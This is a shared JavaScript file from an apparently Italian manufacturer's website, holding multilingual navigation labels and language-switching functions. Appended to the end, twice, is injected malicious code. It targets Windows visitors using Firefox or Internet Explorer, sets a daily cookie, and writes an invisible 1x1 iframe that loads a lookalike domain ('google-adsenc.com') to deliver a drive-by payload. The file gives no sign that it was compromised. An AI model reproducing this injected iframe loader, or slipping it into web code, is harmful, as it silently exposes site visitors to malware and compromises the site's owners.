//************************************************************
// 								FILE COMUNE A TUTTE LE PAGINE
//***********************************************************
var language = "italian";

var html = new Array();
html["italian"] = new Array();
html["french"] = new Array();
html["english"] = new Array();
html["deutsch"] = new Array();
html["espanol"] = new Array();

var buttons = new Array();
buttons["italian"] = new Array();
buttons["french"] = new Array();
buttons["english"] = new Array();
buttons["deutsch"] = new Array();
buttons["espanol"] = new Array();

//****************************** DEFINIZIONE DEI PULSANTI (INIZIO)
buttons["italian"]["azienda"] = ".:Azienda:.";
buttons["italian"]["retipesca"] = ".:Reti da Pesca:.";
buttons["italian"]["funiacciao"] = ".:Funi in Acciaio:.";
buttons["italian"]["filatiindustriali"] = ".:Filati Industriali:.";
buttons["italian"]["contatti"] = ".:Contatti:.";

buttons["french"]["azienda"] = ".:Entreprise:.";
buttons["french"]["retipesca"] = ".:Filets de p&ecirc;che:.";
buttons["french"]["funiacciao"] = ".:C&acirc;bles en Acier:.";
buttons["french"]["filatiindustriali"] = ".:Fils Industriels:.";
buttons["french"]["contatti"] = ".:Contacts:.";

buttons["english"]["azienda"] = ".:About us:.";
buttons["english"]["retipesca"] = ".:Fishing Nets:.";
buttons["english"]["funiacciao"] = ".:Steel Ropes:.";
buttons["english"]["filatiindustriali"] = ".:Industrial Yarns:.";
buttons["english"]["contatti"] = ".:Contacts:.";

buttons["deutsch"]["azienda"] = ".:Firma:.";
buttons["deutsch"]["retipesca"] = ".:Fischernetz:.";
buttons["deutsch"]["funiacciao"] = ".:Stahldrahtseile:.";
buttons["deutsch"]["filatiindustriali"] = ".:Naeh und Seilgarn:.";
buttons["deutsch"]["contatti"] = ".:Kontakt:.";

buttons["espanol"]["azienda"] = ".:Empresa:.";
buttons["espanol"]["retipesca"] = ".:Redes de Pesca:.";
buttons["espanol"]["funiacciao"] = ".:Cables en Acero:.";
buttons["espanol"]["filatiindustriali"] = ".:Hilos Industriales:.";
buttons["espanol"]["contatti"] = ".:Contacto:.";
//****************************** DEFINIZIONE DEI PULSANTI (FINE) 

//******************** NON MODIFICARE NULLA AL DI SOTTO DI QUESTA RIGA
function ButtonOnMouseOver (id) {
	var element = document.getElementById(id);
	element.style.cursor='pointer';
	element.style.backgroundImage = 'url(images/common/ButtonOn.gif)';
	element.style.color = '#000000';
}

function ButtonOnMouseOut (id) {
	var element = document.getElementById(id);
	
	element.style.color = '#FFFFFF';
	if (element.className == 'selectedbutton') return;
	element.style.cursor='arrow';
	element.style.backgroundImage = 'url(images/common/ButtonNormal.gif)';
}

function GetButtonText(key)
{
	return buttons[language][key];
}

function getHTML(key)
{
	var cnt;
	
	cnt = html[language][key];
	if (cnt) return cnt;
		else return 'Testo in traduzione !!';
}

function SetCurrentLanguage()
{
	var sURL = window.document.URL.toString();

	if (sURL.indexOf("?") > 0)
	{
		var arrParams = sURL.split("?");
			
		var arrURLParams = arrParams[1].split("&");
		
		var arrParamNames = new Array(arrURLParams.length);
		var arrParamValues = new Array(arrURLParams.length);
		
		var i = 0;
		for (i=0;i<arrURLParams.length;i++)
		{
			var sParam =  arrURLParams[i].split("=");
			if (sParam[0] == "language")
				{
					language = unescape(sParam[1]);
					i = arrURLParams.length;
				}
		}		
	}
	else
	{
		language="italian";
	}
}

function SetLanguage(lg)
{

	language=lg;
	var arrUrl = location.href.split("?");
	location.href = arrUrl[0] + '?language=' + language;
}

function Goto(page)
{
	location.href = page + '?language=' + language;
}

function SetLanguageFlag()
{
	switch(language)
	{
		case 'italian':
			document.getElementById('italianFlag').border=2;
			document.getElementById('frenchFlag').border=0;
			document.getElementById('englishFlag').border=0;
			document.getElementById('deutschFlag').border=0;
			document.getElementById('espanolFlag').border=0;
		break;
		case 'french':
			document.getElementById('italianFlag').border=0;
			document.getElementById('frenchFlag').border=2;
			document.getElementById('englishFlag').border=0;
			document.getElementById('deutschFlag').border=0;
			document.getElementById('espanolFlag').border=0;
		break;
		case 'english':
			document.getElementById('italianFlag').border=0;
			document.getElementById('frenchFlag').border=0;
			document.getElementById('englishFlag').border=2;
			document.getElementById('deutschFlag').border=0;
			document.getElementById('espanolFlag').border=0;
		break;
		case 'deutsch':	
			document.getElementById('italianFlag').border=0;
			document.getElementById('frenchFlag').border=0;
			document.getElementById('englishFlag').border=0;
			document.getElementById('deutschFlag').border=2;
			document.getElementById('espanolFlag').border=0;
		break;
		case 'espanol':
			document.getElementById('italianFlag').border=0;
			document.getElementById('frenchFlag').border=0;
			document.getElementById('englishFlag').border=0;
			document.getElementById('deutschFlag').border=0;
			document.getElementById('espanolFlag').border=2;
		break;
	}

}

SetCurrentLanguage();var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
